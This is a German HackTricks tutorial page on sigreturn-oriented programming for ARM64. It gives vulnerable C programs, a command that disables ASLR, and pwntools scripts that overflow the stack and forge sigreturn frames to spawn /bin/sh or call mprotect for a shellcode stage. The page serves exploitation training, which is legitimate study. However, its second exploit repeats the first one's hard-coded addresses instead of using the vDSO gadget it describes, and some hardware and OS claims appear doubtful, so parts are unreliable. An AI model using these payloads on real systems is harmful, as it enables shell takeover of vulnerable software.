> [!TIP]
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Reading time: 8 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Pwntools-Beispiel
Dieses Beispiel erstellt die verwundbare Binärdatei und nutzt sie aus. Die Binärdatei liest in den Stack und ruft dann sigreturn
auf:
from pwn import *
binsh = "/bin/sh"
context.clear()
context.arch = "arm64"
asm = ''
asm += 'sub sp, sp, 0x1000\n'
asm += shellcraft.read(constants.STDIN_FILENO, 'sp', 1024) #Read into the stack
asm += shellcraft.sigreturn() # Call sigreturn
asm += 'syscall: \n' #Easy symbol to use in the exploit
asm += shellcraft.syscall()
asm += 'binsh: .asciz "%s"' % binsh #To have the "/bin/sh" string in memory
binary = ELF.from_assembly(asm)
frame = SigreturnFrame()
frame.x8 = constants.SYS_execve
frame.x0 = binary.symbols['binsh']
frame.x1 = 0x00
frame.x2 = 0x00
frame.pc = binary.symbols['syscall']
p = process(binary.path)
p.send(bytes(frame))
p.interactive()
bof Beispiel
Code
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
}
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
do_stuff(2);
return 0;
}
Kompiliere es mit:
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
Exploit
Der Exploit nutzt den bof aus, um zur Rückkehr zum Aufruf von sigreturn
zu gelangen und den Stack vorzubereiten, um execve
mit einem Zeiger auf /bin/sh
aufzurufen.
from pwn import *
p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00 # NULL
frame.x2 = 0x00 # NULL
frame.pc = svc_call
payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
bof Beispiel ohne sigreturn
Code
#include <stdio.h>
#include <string.h>
#include <unistd.h>
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
return 0;
}
Exploit
In dem Abschnitt vdso
ist es möglich, einen Aufruf zu sigreturn
im Offset 0x7b0
zu finden:
 (1).png)
Daher ist es, falls geleakt, möglich, diese Adresse zu verwenden, um auf ein sigreturn
zuzugreifen, wenn die Binary es nicht lädt:
from pwn import *
p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00 # NULL
frame.x2 = 0x00 # NULL
frame.pc = svc_call
payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
Für weitere Informationen über vdso siehe:
Und um die Adresse von /bin/sh
zu umgehen, könntest du mehrere Umgebungsvariablen erstellen, die darauf zeigen, für weitere Informationen:
Automatisches Finden von sigreturn
Gadgets (2023-2025)
In modernen Distributionen wird das sigreturn
Trampolin weiterhin von der vDSO Seite exportiert, aber der genaue Offset kann je nach Kernel-Versionen und Build-Flags wie BTI (+branch-protection
) oder PAC variieren. Die Automatisierung seiner Entdeckung verhindert das Hard-Coding von Offsets:
# With ROPgadget ≥ 7.4
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn
# With rp++ ≥ 1.0.9 (arm64 support)
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigreturn
Beide Werkzeuge verstehen AArch64 Kodierungen und listen Kandidaten mov x8, 0x8b ; svc #0
Sequenzen auf, die als SROP Gadget verwendet werden können.
Hinweis: Wenn Binärdateien mit BTI kompiliert werden, ist die erste Anweisung jedes gültigen indirekten Sprungziels
bti c
.sigreturn
Trampolines, die vom Linker platziert werden, enthalten bereits das richtige BTI-Landingpad, sodass das Gadget aus unprivilegiertem Code weiterhin verwendbar bleibt.
Verknüpfung von SROP mit ROP (Pivot über mprotect
)
rt_sigreturn
ermöglicht es uns, alle allgemeinen Register und pstate
zu steuern. Ein gängiges Muster auf x86 ist: 1) SROP verwenden, um mprotect
aufzurufen, 2) zu einem neuen ausführbaren Stack mit Shell-Code pivotieren. Die genau gleiche Idee funktioniert auf ARM64:
frame = SigreturnFrame()
frame.x8 = constants.SYS_mprotect # 226
frame.x0 = 0x400000 # page-aligned stack address
frame.x1 = 0x2000 # size
frame.x2 = 7 # PROT_READ|PROT_WRITE|PROT_EXEC
frame.sp = 0x400000 + 0x100 # new pivot
frame.pc = svc_call # will re-enter kernel
Nach dem Senden des Frames können Sie eine zweite Phase mit rohem Shell-Code bei 0x400000+0x100
senden. Da AArch64 PC-relative Adressierung verwendet, ist dies oft bequemer als das Erstellen großer ROP-Ketten.
Kernelvalidierung, PAC & Shadow-Stacks
Linux 5.16 führte eine strengere Validierung von Benutzersignal-Frames ein (Commit 36f5a6c73096
). Der Kernel überprüft jetzt:
uc_flags
mussUC_FP_XSTATE
enthalten, wennextra_context
vorhanden ist.- Das reservierte Wort in
struct rt_sigframe
muss null sein. - Jeder Zeiger im extra_context Datensatz ist ausgerichtet und zeigt innerhalb des Benutzeradressraums.
pwntools>=4.10
erstellt konforme Frames automatisch, aber wenn Sie sie manuell erstellen, stellen Sie sicher, dass Sie reserviert null-initialisieren und den SVE-Datensatz weglassen, es sei denn, Sie benötigen ihn wirklich – andernfalls liefert rt_sigreturn
SIGSEGV
, anstatt zurückzukehren.
Beginnend mit dem Mainstream Android 14 und Fedora 38 wird der Userland standardmäßig mit PAC (Pointer Authentication) und BTI aktiviert kompiliert (-mbranch-protection=standard
). SROP selbst ist nicht betroffen, da der Kernel PC
direkt aus dem erstellten Frame überschreibt und den authentifizierten LR, der auf dem Stack gespeichert ist, umgeht; jedoch muss jede nachfolgende ROP-Kette, die indirekte Sprünge ausführt, zu BTI-aktivierten Anweisungen oder PACed-Adressen springen. Denken Sie daran, dies bei der Auswahl von Gadgets zu berücksichtigen.
Shadow-Call-Stacks, die in ARMv8.9 eingeführt wurden (und bereits in ChromeOS 1.27+ aktiviert sind), sind eine Compiler-Ebene Minderung und beeinträchtigen SROP nicht, da keine Rückgabebefehle ausgeführt werden – der Kontrollfluss wird vom Kernel übertragen.
Referenzen
- Linux arm64 Signalverarbeitung Dokumentation
- LWN – "AArch64 branch protection comes to GCC and glibc" (2023)
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.